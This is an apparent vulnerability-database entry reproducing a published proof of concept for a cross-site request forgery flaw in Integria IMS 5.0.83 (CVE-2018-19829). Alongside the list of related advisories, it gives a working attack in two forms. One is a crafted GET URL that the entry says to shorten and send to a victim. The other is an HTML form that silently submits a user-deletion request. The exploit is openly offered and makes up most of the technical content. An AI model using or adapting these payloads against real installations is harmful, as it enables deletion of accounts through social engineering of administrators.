Integria IMS 5.0.83 - Cross-Site Request Forgery

🗓️ 19 Dec 2018 00:00:00Reported by Javier OlmedoType

Integria IMS 5.0.83 Cross-Site Request Forgery vulnerability allows deletion of users through malicious request

Reporter	Title	Published	Views	Family All 9
0day.today	Integria IMS 5.0.83 - Cross-Site Request Forgery Vulnerability	19 Dec 201800:00	–	zdt
CVE	CVE-2018-19829	18 Dec 201822:00	–	cve
Cvelist	CVE-2018-19829	18 Dec 201822:00	–	cvelist
EUVD	EUVD-2018-11504	7 Oct 202500:30	–	euvd
exploitpack	Integria IMS 5.0.83 - Cross-Site Request Forgery	19 Dec 201800:00	–	exploitpack
NVD	CVE-2018-19829	18 Dec 201822:29	–	nvd
OSV	CVE-2018-19829	18 Dec 201822:29	–	osv
Packet Storm	Integria IMS 5.0.83 Cross Site Request Forgery	19 Dec 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	18 Dec 201822:29	–	prion

# Exploit Title: Integria IMS 5.0.83 - Cross-Site Request Forgery
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-12-19
# Google Dork: N/A
# Vendor: Artica ST
# Software Link: https://github.com/articaST/integriaims
# Affected Version: 5.0.83 and possibly before
# Patched Version: 5.0.84
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-19829
# References:
# https://hackpuntes.com/cve-2018-19829-integria-ims-5-0-83-cross-site-request-forgery/
# https://github.com/articaST/integriaims/commit/a37c0c3d7cad74df64bfd3d98488aee4fa28b839

# 1. Technical Description:
# Integria IMS version 5.0.83 and possibly before are affected by Cross-Site Request Forgery
# vulnerability, an attacker could delete users through GET or POST requests.
 
# 2.1 Proof Of Concept (Delete User):

(Method 1 - GET)
Use Google URL Shortener (or similar) to shorten the next url
http://[PATH]/ajax.php?page=include/ajax/delete_item_general&delete_item=1&name=delete_user&id=[ID])
and send it to the victim.

(Method 2 - POST)
Use next form and send it tho the victim.
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/index.php">
      <input type="hidden" name="sec" value="users" />
      <input type="hidden" name="sec2" value="godmode&#47;usuarios&#47;lista&#95;usuarios" />
      <input type="hidden" name="borrar&#95;usuario" value="[ID]" />
      <input type="submit" value="Delete user" />
    </form>
  </body>
</html>

19 Dec 2018 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 25.8

CVSS 36.5

EPSS0.0032